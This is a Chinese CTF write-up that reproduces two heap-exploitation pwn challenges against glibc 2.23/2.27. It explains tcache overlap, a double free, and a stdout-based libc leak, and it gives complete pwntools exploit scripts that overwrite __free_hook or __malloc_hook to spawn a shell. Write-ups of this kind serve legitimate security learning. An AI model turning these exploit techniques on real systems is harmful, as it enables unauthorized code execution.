数字经济云安全pwn题复现

恕我直言,周五的比赛。。。都是在针对要上课的人orz边听课边做题真的无法专心做题23333,虽然也因为太菜了,课上连double free都没反应过来怎么利用。。。

Amazon

审查

保护全都开了,libc版本是2.27。

通过分析功能,可以发现delete功能没有清零指针。没有修改功能。添加部分被分割成三个部分[给定内容|自定义内容|自定义内容大小],这样使得正常情况下fd不在控制范围内。需要通过构造堆块重叠。

由于有tcache机制,构造堆块重叠更加方便。利用分配到unsorted bin中的堆块,通过分割,使得分割出来的堆块在原来堆块的可控范围内,在从tcache中将原来的堆块分配出来,就能修改fd字段,从而实现任意地址分配。

分配到unsorted bin中的块的fd和bk会保存main_arena+96的值,由此得到libc的基地址。然后经实验,没有可用的one gadget,通过system('/bin/sh')来get shell。

利用

首先分配两个块,第二个块用来防止跟top chunk合并。

然后首先填满tcache,再次checkout,此时,fd和bk字段已经是main_arena+96了,通过show函数打印,然后获得libc的基地址,从而获得system地址以及free_hook地址。

分配三个小块。需要满足这三个块都是从unsorted bin中分割而来,并且第二第三个块的fd需要在原来块的可控区域。然后将第二个块释放,进入对应的tcache。

构造payload,将原来的tcache中的大块分配出来,然后使得成功覆盖之前三个小块的第二个小块的fd为fake chunk-0x10以及第三个小块的fd为/bin/sh

然后就是分配小tcache修改free_hook了。

最后free('/bin/sh')

Exp

一开始写得很麻烦,我以为tcache会有对chunk的检查,想不到啥也没有orz,根据队内大佬的exp修改了以下,看起来就简便了很多23333

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python
#-*- coding:utf-8 -*-
#Author : Critizero

from pwn import *
import sys

if len(sys.argv) == 1 or sys.argv[1] == 'g':
p = process('./amazon')
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote('127.0.0.1',123)

elf = ELF('./amazon')
libc = ELF('./libc-2.27.so')
context.log_level = 'debug'

def ru(con):
cont = p.recvuntil(con)
return cont

def sl(con):
p.sendline(con)

def menu(idx):
ru('Your choice: ')
sl(str(idx))

def buy(idx, num, size, cont):
menu(1)
ru('buy: ')
sl(str(idx))
ru('many: ')
sl(str(num))
ru('note: ')
sl(str(size))
ru('Content: ')
sl(cont)

def show(size):
menu(2)
ret = []
for i in range(size):
ru('Name: ')
name = ru(',')[:-1]
ru('Note: ')
note = ru('\n')[:-1]
ret.append([name,note])
return ret

def checkout(idx):
menu(3)
ru('for: ')
sl(str(idx))

buy(0, 1, 0x100, 'aaa') #0
buy(0, 1, 0x100, 'aaa') #1
# fill tcache
for i in range(7):
checkout(0)

# get main_arena
checkout(0)
ret = show(2)
main_arena = u64(ret[0][0].strip().ljust(8,'\x00')) - 96
log.info('main_arena '+hex(main_arena))
libc_base = main_arena - 0x3ebc40
sys_addr = libc_base + libc.symbols['system']
fake_chunk = libc_base + 0x3ED8E8 - 0x40 - 0x10

buy(0, 1, 0x10, 'aaa') #2
buy(0, 1, 0x40, 'aaa') #3
buy(0, 1, 0x20, 'aaa') #4
checkout(3)
payload = 'a'*0x10 + p64(0) + p64(0x71) + p64(fake_chunk)
payload = payload.ljust(0x80,'\x00') + p64(0) + p64(0x51) + '/bin/sh\x00'
buy(0, 1, 0x100, payload) #5

buy(0, 1, 0x40, 'aaa') #6
payload = '\x00'*0x30 + p64(sys_addr)
buy(0, 1, 0x40, payload) #7

checkout(4)

p.interactive()

#buy(0, 1, 0x100, 'aaa') #0
#buy(0, 1, 0x100, 'aaa') #1
#buy(0, 1, 0x100, 'aaa') #2
#buy(0, 1, 0x100, 'aaa') #3
#buy(0, 1, 0x100, 'aaa') #4
#buy(0, 1, 0x100, 'aaa') #5
#buy(0, 1, 0x100, 'aaa') #6
#buy(0, 1, 0x100, '/bin/sh') #7
#buy(0, 1, 0x100, 'aaa') #8
#checkout(0)
#checkout(1)
#checkout(2)
#checkout(3)
#checkout(4)
#checkout(5)
#checkout(6)
#checkout(5)
#value = show(9)
#
#main_arena = u64(value[5][0].strip().ljust(8,'\x00')) - 96
#log.info('main_arena '+hex(main_arena))
#libc_base = main_arena - 0x3ebc40
#one_gadget = libc_base + 0x4f2c5
#fake_chunk = libc_base + 0x3ED8E8 - 0x50
#sys_addr = libc_base + libc.symbols['system']
#bin_addr = libc_base + 0x1B3E9A
#
#buy(0, 1, 0x10, '111') #9
#checkout(9)
#buy(0, 1, 0x40, '111') #10
#checkout(10)
#buy(0, 1, 0x20, '111') #11
#buy(0, 1, 0x100, '111') #12
#payload = 'a'*(0xb0-0x50-0x40-0x10) + p64(0) + p64(0x71) + p64(fake_chunk)
#payload = payload.ljust(0x100-0x90+0x20,'\x00') + '/bin/sh\x00'
#buy(0, 1, 0x100, payload) #13
#
#buy(0, 1, 0x40, '111') #14
#buy(0, 1, 0x40, p64(0) * 6 + p64(sys_addr)) #15
#
#checkout(11)
#
#p.interactive()

Fkroman

前排感谢PKFxxxx解答疑问,wtcl

审查

第一次写跟IO_File相关的题orz,最近得找个时间把FSOP学了才行。不然感觉越来越多的题目用到IO_File就完全动不了orz

程序是一个传统的目录型文件,保护全开,但是没有输出功能。

1.png

程序有两个漏洞,一个是free的时候有悬挂指针,可以用来double free制造任意地址分配。还有一个是edit功能没有限制长度,导致任意长度的溢出,这个就方便我们uaf。

现在重要的问题就在于,没得输出,一般情况下,这时应该借助stdout文件输出,但是程序开了PIE,无法轻易得到stdout的地址。那咋办嘛.jpg

显然,我们可以知道,再unsorted bin中chunk的fd字段会设置成main_arena相关的值,这样的话~我们就可以通过部分覆盖,使之指向stdout部分去,然后讲stdout部分malloc出来,这样,就能泄露libc的地址啦。

利用

思路首先就是要得到main_arena相关的地址,然后再通过修改最后几个字节使之指向_IO_2_1_stdout,然后再把_IO_2_1_stdout给分配出来,得到libc的地址。然后就是正常的利用了。

为了能够得到stdout的chunk,我们需要使用double free,首先free使之进入small bin,然后通过溢出修改size,再次free,使之进入unsorted bin。此时,该chunk的fd已经指向了main_arena+88,然后再次通过溢出,修改size为原来大小,并且修改最后几个字节。由于程序开了PIE,需要多试几次。然后再将_IO_2_1_stdout块分配出来。修改write_base得到libc基地址。剩下的就简单啦。。。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python
#-*- coding:utf-8 -*-
#Author: Critizero

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./fkroman")
if len(sys.argv) != 1:
gdb.attach(p)

elf = ELF("./fkroman",checksec=False)
context.log_level = "debug"

ru = lambda cont: p.recvuntil(cont)
sl = lambda cont: p.sendline(cont)
sa = lambda r,s : p.sendafter(r,s)
ss = lambda cont: p.send(cont)

def menu(choice, idx):
ru('Your choice: ')
sl(str(choice))
ru('Index: ')
sl(str(idx))

def alloc(idx, size):
menu(1, idx)
ru('Size: ')
sl(str(size))

def free(idx):
menu(3, idx)

def edit(idx, size, cont):
menu(4, idx)
ru('Size: ')
sl(str(size))
ru('Content: ')
ss(str(cont))

alloc(0, 0x60)
alloc(1, 0x60)
alloc(2, 0x60)
alloc(3, 0x60)

free(1)
payload = '\x00'*0x60 + p64(0) + p64(0xe1)
edit(0, len(payload), payload)
free(1)

payload = '\x00'*0x60 + p64(0) + p64(0x71) + '\xdd\x85'
edit(0, len(payload), payload)

gdb.attach(p)
alloc(4, 0x60)
alloc(5, 0x60)

payload = '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x40'
edit(5, len(payload), payload)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c5640
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadgets[1]

free(2)
edit(2, 0x8, p64(libc_base + 0x3c4af5 - 8))

alloc(6, 0x60)
alloc(7, 0x60)

payload = '\x00'*0x13 + p64(one_gadget)
edit(7, len(payload), payload)

alloc(8, 0x20)

p.interactive()